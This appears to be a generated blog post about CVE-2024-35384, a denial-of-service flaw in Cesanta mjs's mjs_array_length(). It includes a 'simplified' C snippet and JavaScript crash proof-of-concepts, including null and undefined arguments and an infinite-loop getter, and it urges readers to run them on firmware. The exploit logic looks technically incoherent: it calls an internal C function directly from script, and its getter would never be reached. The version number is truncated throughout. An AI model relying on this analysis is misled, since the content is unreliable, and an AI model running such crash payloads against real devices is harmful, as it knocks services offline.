Cesanta’s mjs is a lightweight JavaScript engine designed for constrained devices, often powering microcontroller scripts and tiny IoT products. On May 2024, a new vulnerability, CVE-2024-35384, was disclosed, targeting Cesanta mjs version 2.20.. This post walks through what the bug is, how it can be exploited, and why you should care — all in straightforward terms, with code examples unique to this post.
What is CVE-2024-35384?
CVE-2024-35384 is a denial of service (DoS) vulnerability within the implementation of mjs_array_length() in the mjs.c file. Simply put, if an attacker sends malicious input to this function, they can crash the mjs runtime. That means any device or service running mjs is at risk of being taken offline, even from across the network.
Why It Matters
Many embedded devices rely on mjs for scripting. A remote attacker could exploit this without needing to log in or authenticate. For critical IoT products, this means a potential interruption of service—which could lead to much bigger problems, depending on the use case.
Digging Into the Code
The mjs_array_length() function is supposed to handle JavaScript arrays safely. However, a mistake in how it checks array length or validates inputs means that certain crafted JS code can trigger abnormal behavior—like running out of stack space or causing a segmentation fault.
Here’s a simplified code snippet inspired by the vulnerable section (see the original on GitHub):
// Example snippet: stack/heap unsafe handling
mjs_val_t mjs_array_length(struct mjs *mjs, mjs_val_t arr) {
struct mjs_object *o = get_object_struct(mjs, arr);
return mjs_mk_number(mjs, (double) o->num_props);
}
If arr is not a true array, or o is malformed, this code can misbehave—there’s no robust input validation. Malicious JavaScript can exploit this.
Exploit Details: How the Attack Works
A proof-of-concept exploit works by sending a carefully-crafted array, or a non-array value, to the vulnerable function. Here’s a unique JS example that would crash the mjs engine:
// Malicious script to crash mjs
var fakeArray = {};
Object.defineProperty(fakeArray, "length", {
get: function() {
while(true) {} // Infinite loop or stack exhaustion
}
});
mjs_array_length(fakeArray); // Call the C hook (e.g., via FFI)
Or, simply causing mjs to access a property of a non-array object
mjs_array_length(null); // Results in a NULL pointer dereference
This causes the underlying C code to dereference a null pointer, provoking a segmentation fault and hard-crashing the process.
> Note: If your device gives a JavaScript API or FFI exposure to mjs_array_length, network attackers may cause it to invoke this with arbitrary values.
If you have mjs (v2.20.) on your firmware, try running this code
mjs_array_length(undefined);
If your service dies or restarts, you’re likely vulnerable.
Mitigation and Patch Status
Check the Cesanta changelog and look for updates fixing input validation in mjs_array_length. Until an official patch is released:
Sanitize all input—don’t let untrusted values reach C API hooks.
- Monitor Cesanta’s GitHub repo for updates.
References
- CVE Record: CVE-2024-35384
- Cesanta mjs 2.20. source code
- Commit logs / Changelog
Wrap Up
CVE-2024-35384 is a textbook example of how unchecked input, even in tiny embedded JavaScript engines, can have serious consequences. The fix is coming—but in the meantime, be extra careful with devices running mjs 2.20., and never expose JavaScript APIs to untrusted networks.
If you want to see more unique exploit coverage and hands-on code analysis, subscribe or follow Cesanta’s GitHub repo for security updates.
Timeline
Published on: 05/21/2024 14:15:12 UTC
Last modified on: 08/01/2024 13:52:39 UTC